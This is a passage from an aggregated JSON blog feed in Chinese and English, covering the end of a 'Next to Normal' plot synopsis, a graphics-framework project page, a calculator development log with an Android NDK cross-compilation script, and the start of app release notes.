Reprise\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e尽管丹恳求戴安娜留下,但戴安娜离开并拜访了麦登医生,感到沮丧的是多年的治疗似乎并没有改善她的状况,她想知道自己对失去儿子的悲伤是否真的应该用药物来治疗(“突破”)。麦登医生恳求她留下,建议进行更多的电击疗法和其他药物治疗,但她离开了约会(“下定决心/抓住我,我要摔倒-重奏”)。回到外面后,她第一次与娜塔莉联系,注意到她们两人之间的相似之处。她们拥抱并同意以某种方式在“接近正常”的某个地方开始新生活(“也许(接近正常)”)。戴安娜开车送娜塔莉去跳舞,娜塔莉向亨利表达了她对自己将来可能会像母亲一样遇到相同问题的担忧,尽管亨利承诺无论如何都会支持她(“嘿#3/ 为你而完美-重奏”)。\u003c/p\u003e\n\u003cp\u003eDiana returns home and tells Dan she is leaving him, saying that though she still loves him, they both must finally come to terms with their grief on their own (\u0026ldquo;So Anyway\u0026rdquo;). Devastated, Dan looks back on his years of faithfulness to her, resulting in him seeing Gabe for the first time (\u0026ldquo;I Am the One - Reprise\u0026rdquo;). The two share an embrace, and Dan says Gabe\u0026rsquo;s name for the first and only time in the show. Gabe disappears, and Natalie returns home to find that her mother is gone. She continues her relationship with Henry, and Diana moves in with her parents temporarily, still depressed but more hopeful than she\u0026rsquo;s ever been. Dan visits Dr. Madden, who gives him the name of another psychiatrist he can talk to. Gabe is seen by the audience one final time, this time relaying a message of hope as opposed to the threatening persona he has previously taken, and the family adjusts to their new way of life (\u0026ldquo;Light\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜回家告诉丹她要离开他,说虽然她仍然爱他,但他们都必须最终自己面对他们的悲伤(“总之”)。丹感到心碎,回顾了他对她的忠诚多年,结果第一次看到了加布(“我就是那个人-重唱”)。两人拥抱在一起,丹第一次也是唯一一次在节目中说出了加布的名字。加布消失了,娜塔莉回家发现她的母亲不见了。她继续与亨利保持关系,而黛安娜暂时搬到父母家,仍然沮丧但比以往任何时候都更有希望。丹去看马登医生,后者给了他另一位可以倾诉的心理医生的名字。加布最后一次被观众看到,这一次传递了一条希望的信息,而不是之前采取的威胁性形象,家庭适应了他们新生活方式(“光”)。\u003c/p\u003e\u003chr /\u003e","url":"https://indevn.com/posts/next-to-normal/"},{"title":"illusion Graphic:基于现代API的图形算法实验框架","time":"0001-01-01T00:00:00Z","content":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003elightweight framework for games and data visualization \u003cem\u003ewith modern graphic\u003c/em\u003e.\u003c/p\u003e\n\u003ch3 id=\"关于illusion\"\u003e关于illusion\u003c/h3\u003e\n\u003cp\u003e基于现代图形API的轻量级图形算法实验框架。基于跨平台设计,支持模型与场景的导入和渲染,包含对多达二十余种模型文件类型的支持。\u003c/p\u003e\n\u003ch3 id=\"目前支持的特性\"\u003e目前支持的特性\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e支持多种图形API,包括DirectX12、Vulkan、Metal等。\u003c/li\u003e\n\u003cli\u003e支持多种模型格式,包括常见的obj、gltf、fbx等。\u003c/li\u003e\n\u003cli\u003e多种材质模型支持,包括前沿的Marschner真实感毛发渲染材质。\u003c/li\u003e\n\u003cli\u003ecoming soon\u0026hellip;\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"技术细节\"\u003e技术细节\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e内存池设计,基于核心类的资源管理\u003c/li\u003e\n\u003cli\u003ecoming soon\u0026hellip;\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003chr\u003e\n\u003ch3 id=\"联系我\"\u003e联系我\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eEmail\u003c/strong\u003e: \u003ca href=\"mailto:indevn@outlook.com\"\u003eindevn@outlook.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGithub\u003c/strong\u003e: \u003ca href=\"https://github.com/indevn\"\u003e@indevn\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eQQ\u003c/strong\u003e: 2022920028\u003c/p\u003e\u003chr /\u003e","url":"https://indevn.com/illusion/"}]},{"name":"SuperBart/BenderBlog","email":"Unknown","uri":"https://www.superbart.top/","description":"Recent content on SuperBart/BenderBlog","article":[{"title":"cmcalc 开发日志 1","time":"2024-07-14T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Random/Coding%20to%20a%20cure%20girl.jpg\" alt=\"Featured image of post cmcalc 开发日志 1\" /\u003e\u003cp\u003e在我醉酒三次之后,今天好歹搓出来一个 Flutter-Rust 的计算器。总结下一些东西吧。\u003c/p\u003e\n\u003ch2 id=\"数学表达式处理器和计算机代数系统\"\u003e数学表达式处理器和计算机代数系统\u003c/h2\u003e\n\u003cp\u003e在我编程之前,我对这俩没啥概念,就是觉得都是计算器:P\u003c/p\u003e\n\u003cp\u003e后来我大致上网查了下(顺便唤醒了我死去的数学分析回忆),才知道这俩是有差别的。\u003c/p\u003e\n\u003cp\u003e先介绍数学表达式处理器,它的输入是一串字符串,通过预先规定好的文法处理方法,生成语法树用于下一步处理。这个基本上是编译原理的东西,我早忘了,目前只记得的步骤如下:\u003c/p\u003e\n\u003cp\u003e首先,在得到字符串后。开发者需要通过一些方式定义并解析符号,也就是一段字符串里面的元素。如果是一串数学表达式,则字符串里面必然包含数字(比如十进制数字1、十六进制数字0xDEADBEFF等),计算符号(加减乘除,乘方运算,积分符号等),特殊数字表达形式(比如pi,e)等符号。在我的印象中,flex 是干这个的。开发者定义后,字符串会通过词法分析(正则表达式狂喜)将字符串中的符号元素标记出来,用于接下来的处理。\u003c/p\u003e\n\u003cp\u003e然后,在标识出字符串的元素后,开发者需要对这些符号进行优先级排序和结合性定义,形成易于处理的语法树。语法树作为树数据结构,计算机比较容易处理,并可以从低向上处理这个计算公式,得出该运算公式的运行步骤。这个工作应该是 bison 的特长。定义之后,将这些符号进行排序生成树的过程称为语法分析。这个应该挺抽象的,所以看起来我得举个例子了。\u003c/p\u003e\n\u003cp\u003e再之后,开发者要把符号对应的操作定义好。比如说,遇到了数字符号就要将数字字符串转换为数字存储,遇到加法符号就要对他两边的数进行累加,遇到特定数字表达符号pi就要直接引用3.1415926535啥的。这个步骤同上面提到的运算公式运行步骤结合,就能得出字符串的运行结果了。\u003c/p\u003e\n\u003cp\u003e上面步骤中,第二部涉及到树,所以抽象。这里用\u003ccode\u003e1+pi\u003c/code\u003e来说明。再次说明,第一步涉及正则表达式、第二部涉及树的遍历。\u003c/p\u003e\n\u003cp\u003e首先定义符号:十进制数字字符串符号[0-9]*,加法符号+,pi符号。将字符串处理后,得到\u003ccode\u003e{十进制数字字符串符号1}{加法符号+0}{pi符号}\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e然后定义符号优先级:加法符号+最高,pi符号和十进制数字字符串符号同级。在此基础上,定义加法符号可以两边都有东西,或者只在右边有东西,先观察右边的东西。在此基础上进行排序,获得\u003ccode\u003e{加法符号+0}{十进制数字字符串符号1}{pi符号}\u003c/code\u003e。将其构成一棵树,就是:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e +\n / \\\n 1 pi\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e通过这棵树,程序可以得出执行顺序。这里我们程序从树的根\u003ccode\u003e+\u003c/code\u003e开始处理,先看左下的孩子\u003ccode\u003e1\u003c/code\u003e,然后看右下的孩子\u003ccode\u003epi\u003c/code\u003e,最后看到根自己,得出来运行顺序:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 1 对应的步骤\n2. pi 对应的步骤\n3. + 对应的步骤\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在此基础上,拿出开发者定义好的符号对应步骤如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 遇到十进制数字字符串符号,使用`parse(String str)-\u0026gt;float`将其转换成浮点数,存到一个临时变量temp1中。\n2. 遇到 pi,直接将其转换成浮点数3.1415926,存到临时变量temp2中。\n3. 遇到加号,分析计算与其结合的符号,然后相加得出结果。相当于`add(left,right)-\u0026gt;float`或者`add(right)-\u0026gt;float`。\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e将其和上面结合一下,就是:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. temp1 \u0026lt;- parse(\u0026quot;1\u0026quot;)\n2. temp2 \u0026lt;- 3.1415926\n3. add(temp1,temp2)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e至少大致上是这样,肯定有很多地方我说错了或者和课本上的不太符号,仅供参考。\u003c/p\u003e\n\u003cp\u003e上面大致上就是数学表达式处理器要干的事情,也就是很多普通数值计算器要干的事情。至少我碰到的\u003ccode\u003elibqalculator\u003c/code\u003e@C++,\u003ccode\u003emath_parser\u003c/code\u003e@Dart,还有这次使用的\u003ccode\u003ekalk\u003c/code\u003e@Rust,都是干这个用的。这些计算器最大的特点是基于数字进行运算,而在符号运算方面就不太可以了。毕竟日常使用普通计算器时候也没人想让其化简多项式啥的吧。\u003c/p\u003e\n\u003cp\u003e这就引出了计算机代数系统,他们是基于符号进行运算的。个人理解是,对于方程中的符号\u003ccode\u003ex\u003c/code\u003e,\u003ccode\u003ey\u003c/code\u003e等,他都可以进行运算,而不仅仅是数字啥的。这些系统中,比较出名的开源项目是\u003ccode\u003excas/giac\u003c/code\u003e,它被搭载在大量的计算器上面作为运算引擎。\u003c/p\u003e\n\u003cp\u003e本项目最开始的想法是使用数学表达式处理库\u003ccode\u003elibqalculate\u003c/code\u003e,但是ffi构建失败。然后我转向了\u003ccode\u003excas/giac\u003c/code\u003e计算器代数引擎编译,也是失败。虽然我尝试写好了一些cmake示例,能够下载代码进行编译,但是他们一扔到ffi项目中就不运行了,原因就是不下载编译这些库代码,而仅仅编译了我写的胶水函数。\u003c/p\u003e\n\u003cp\u003e最后我转向了 Rust 和 Flutter 协同开发,因为一行代码就能解决,同时可以使用大量的优良 Rust 库。kalker 在 Wikipedia 上面有一段介绍,星标也多,更新还算频繁,同时还有网页版本的图形化界面可以借鉴,于是我用了这个作为高精度计算器的后端。\u003c/p\u003e\n\u003ch2 id=\"回忆计算机积分算法\"\u003e回忆计算机积分算法\u003c/h2\u003e\n\u003cp\u003e说是回忆,是因为大二上有数值分析课讲过,但是我和大多数人一样,一句话都没听过。现在显然吃亏了:P\u003c/p\u003e\n\u003cp\u003ekalk 库使用的是牛顿-科特斯公式,将积分区间分成若干区间,在区间节点上计算要积分公式的结果,然后通过一个权重公式得出积分最终结果。本来该软件使用的是辛普森公式变种,精度不高,我给改成波尔的变种,目前pr还在等作者回复,估计他在忙别的事情吧(刚看 reddit 他还挺活跃)。\u003c/p\u003e\n\u003cp\u003e同时,我还注意到了高斯-勒格让积分方法,它是直接变换区间后上权重直接代入得出结果。结果更直接,数值精准度相较更高。目前我对该方法和其改进方法比较感兴趣,目前想尝试在 kalker 里面实现。\u003c/p\u003e\n\u003cp\u003e上面两个方法都有一定的缺点。首先,必须是定积分,积分区间不能出现无限。同时,积分区间内最好不要有奇异点(比如函数f(x)=1/x,x=0时候是各种无穷),否则会积分不出来。\u003c/p\u003e\n\u003cp\u003e至少改这些代码比较简单,没让我对 rust 有多可怕。这些算法在 mathru 项目中都有实现,回来大不了照抄233\u003c/p\u003e\n\u003ch2 id=\"交叉编译\"\u003e交叉编译\u003c/h2\u003e\n\u003cp\u003ekalk 库使用了 rug 库,一个处理高精度浮点数的库。这个库是对高精度运算库 GMP,高精度浮点数库 MPFR 和高精度复数库 MPC 的 Rust 包装。前面提到的库用了 C 和汇编编程,使用 autoconf 来构建。如果要是原生构建还好,但是要是给安卓苹果编译,那就完蛋了,毕竟默认的编译器也不支持他们的平台啊。\u003c/p\u003e\n\u003cp\u003e在这方面我一方面将 kalk 库的精度降低,先使用 64 位浮点数混几天日子,一方面想找个合适的浮点数库换掉 rug 。然后花了两天半一无所获,不仅被 rust 本身恶心到了,那啥借用引用所有权原则,而且找的库不是功能太缺,就是根本没完成。这里我提一下 malachite,这个库就差浮点数没实现了,目标是借鉴前面提到库的算法,完成一个高效率的高精度数学库。目前我很看好。\u003c/p\u003e\n\u003cp\u003e最后也不知道我看到了啥,说安卓的开发套装里面有 clang 编译器可以直接用。这下可把我乐坏了,改下变量让其直接用编译器交叉编译就好了啊。于是下面这个脚本诞生了。我相信,如果将来我要将 C++ 库搞到安卓或者苹果,这将是个很好的参考。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003ethen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Please export NDK_TOOLCHAIN in your shell.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexit\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003edeclare\u003c/span\u003e -A \u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"o\"\u003e=([\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;android-arm64\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;aarch64-linux-android\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;android-arm\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;armv7a-linux-androideabi\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;android-x64\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;x86_64-linux-android\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eLD\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/ld\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eRANLIB\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/llvm-ranlib\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eSTRIP\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/llvm-strip\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eAR\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/llvm-ar\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e i in \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"p\"\u003e!platform[@]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eCC\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e21-clang\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eAS\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nv\"\u003e$CC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eCXX\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/a\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-clang++\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eCXXCPP\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/clang -E\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e flutter build apk --split-per-abi --target-platform\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意上面提到的\u003ccode\u003eclang -E\u003c/code\u003e,这是C语言的预处理器,一定要设置,否则 GMP 库的 configure 步骤无法通过。同时这样构建的库是风险引入编译器产生的 bug。因为 GMP 使用了大量的汇编,也许会导致编译出来的产物有问题,但是目前交叉编译也没法测试啊:(\u003c/p\u003e\n\u003ch2 id=\"为啥我想写计算器\"\u003e为啥我想写计算器\u003c/h2\u003e\n\u003cp\u003e最近我很孤独,想找对象或者搭子啥的。很显然对于很不讨喜的我来说是比较困难的,于是最近每周我会喝一罐啤酒,反正“啤酒不算酒,就是白水嘛”。有一天晚上我知道了苹果在开发者大会上将平板上的计算器当作特性大加介绍,我对苹果一直以来对批判态度就又一次觉醒了。当然,用笔写完公式直接算很酷,但是计算器本身没啥特色啊。我就想用 Flutter 写个新计算器,顺便练手 ffi 插件到底咋搞的。\u003c/p\u003e\n\u003cp\u003e至于市面上目前太多的高级计算器,直接去 F-Droid 搜会有大量超级高级的计算器。所以为了独特一下,我想了东方萌妹子,AI 画图不算版权,大不了我自己练手画二次元画也不是不行,画饼,啥都能画()\u003c/p\u003e\n\u003cp\u003e最后来点杂乱的东西一览:\u003c/p\u003e\n\u003ch3 id=\"6月11日-0158\"\u003e6月11日 01:58\u003c/h3\u003e\n\u003cp\u003epda 下个彩蛋来了,直接集成科学计算器\u003cbr\u003e\n八成会写成 swiftui ,八成会是另一个程序,八成会仿照某卡西欧玩意,八成是两个模式:科学计算器ui或命令行模式,十成是gpl\u003cbr\u003e\n好想把 speedcrouch 给移植过来,不能碾压这玩意,除了笔迹\u003cbr\u003e\n画饼,咋画都行,我喝高了\u003c/p\u003e\n\u003ch3 id=\"7月7日-0130\"\u003e7月7日 01:30\u003c/h3\u003e\n\u003cp\u003e那个为了骂街苹果平板的破计算器终于有了想法:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e琪露诺的数学教室:简单科学计算,可能兼职 LaTeX 代码输出\u003c/li\u003e\n\u003cli\u003e灵梦汇率转换器(可能会有 FOSS - 非自由顾虑)\u003c/li\u003e\n\u003cli\u003e魔理沙物理转换器,就是第一个加个输入单位的方式?\u003c/li\u003e\n\u003cli\u003e幽幽子卡路里计算器(有这个必要吗)\u003c/li\u003e\n\u003cli\u003e小石头时间转换器\u003c/li\u003e\n\u003cli\u003e早苗积分极限计算器(这个更是说不好)\u003c/li\u003e\n\u003cli\u003exxx(这个真没想好)矩阵计算器(NumPlusPlus)的移植过来就好,估计唯一不用 ffi 的功能。\u003c/li\u003e\n\u003cli\u003exxx(某图书馆管理员)高级输入模式(用户自己看着办吧),兼职高级模式说明书和示例。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这些玩意基本上就是 Qalculator! 功能,想法就是把 libqalculator 搞成 ffi 让 Flutter 调用。用户界面基本可以大量参考现有案例,等写完了还得找点人花点玩意在上面,反正东方的玩意可以 GPL 。\u003c/p\u003e\n\u003ch3 id=\"7月10日-0058\"\u003e7月10日 00:58\u003c/h3\u003e\n\u003cp\u003e今天被 cmake 气炸\u003c/p\u003e\n\u003ch3 id=\"7月11日-0120\"\u003e7月11日 01:20\u003c/h3\u003e\n\u003cp\u003e两个问题:\u003cbr\u003e\n为啥计算器不是法国人发明的,数学库都是他们写的,数学理论大多也是他们搞的\u003cbr\u003e\n为啥 clang 那么想装成 gcc 招摇过市\u003c/p\u003e\n\u003ch3 id=\"7月12日-0003\"\u003e7月12日 00:03\u003c/h3\u003e\n\u003cp\u003e费了一周时间后,我放弃了 cmake\u003cbr\u003e\n然后被迫被 rust 同化\u003cbr\u003e\n然后原型机出来了\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/cmcalc-develop-log-1.html"},{"title":"Traintime PDA v1.1.0 版本发行概要","time":"2024-03-23T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v1.1.0 版本发行概要\" /\u003e\u003cp\u003eTraintime PDA v0.4.6 和 v1.0.0 差别只有桌面小部件;而 v1.1.0 和 v1.0.0 除了日程表的差别,就是为了新学期必将出现的流汗黄豆瞬间而做了一部分修改。\u003c/p\u003e\n\u003cp\u003e现这个程序终于搞完了,我可以搞点别的事情了。\u003c/p\u003e\n\u003cp\u003e本发行概要,将对本程序开发以来,遇到的所有技术要点,进行总结。所以,很多东西我将照抄我之前版本的发行概要。同时,我也将之前发行概要的小前言放在下面,可能为了语序,有些修改。\u003c/p\u003e\n\u003ch2 id=\"自发布后的版本更新概要\"\u003e自发布后的版本更新概要\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ev0.1.0:第一个稳定版本\u003c/li\u003e\n\u003cli\u003ev0.2.0:空闲教室查看功能;移除西电目录,使用电话本代替;很多的 WebView 功能;应某个工作室请求,我写了个双创需求大厅;顺利上架 F-Droid\u003c/li\u003e\n\u003cli\u003ev0.3.0:iOS 版本添加吉祥物;应用内信息\u003c/li\u003e\n\u003cli\u003ev0.4.0:物理实验查看功能\u003c/li\u003e\n\u003cli\u003ev0.4.1:iCalendar 导出课表\u003c/li\u003e\n\u003cli\u003ev0.4.2:用户添加自定义课程功能\u003c/li\u003e\n\u003cli\u003ev0.4.3:滑块验证码适配\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003ev0.4.4:版本跳过,数字不吉利\u003c/del\u003e\u003c/li\u003e\n\u003cli\u003ev0.4.5:异步加载功能\u003c/li\u003e\n\u003cli\u003ev0.4.6:新的卡片设计\u003c/li\u003e\n\u003cli\u003ev1.0.0:桌面小部件\u003c/li\u003e\n\u003cli\u003ev1.1.0:桌面小部件完善;移除打卡功能;课程表升级为日程表\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"贡献者名单一览\"\u003e贡献者名单一览\u003c/h2\u003e\n\u003cp\u003e现在基本写完了,正好是致谢贡献者的时候了。\n以下名单包括任何在代码库留下痕迹的人,以及给过我设计稿的人。更加详细的请看代码仓库的\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/setting/about_page/about_page.dart\" target=\"_blank\" rel=\"noopener\"\n \u003e这个文件\u003c/a\u003e。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e功能\u003c/th\u003e\n\u003cth\u003e贡献者\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e最佳\u0026amp;最久故障反馈者\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/BellssGit\" target=\"_blank\" rel=\"noopener\"\n \u003eBellssGit\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e主页,登录页,配色,iOS 小部件等\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/BrackRat\" target=\"_blank\" rel=\"noopener\"\n 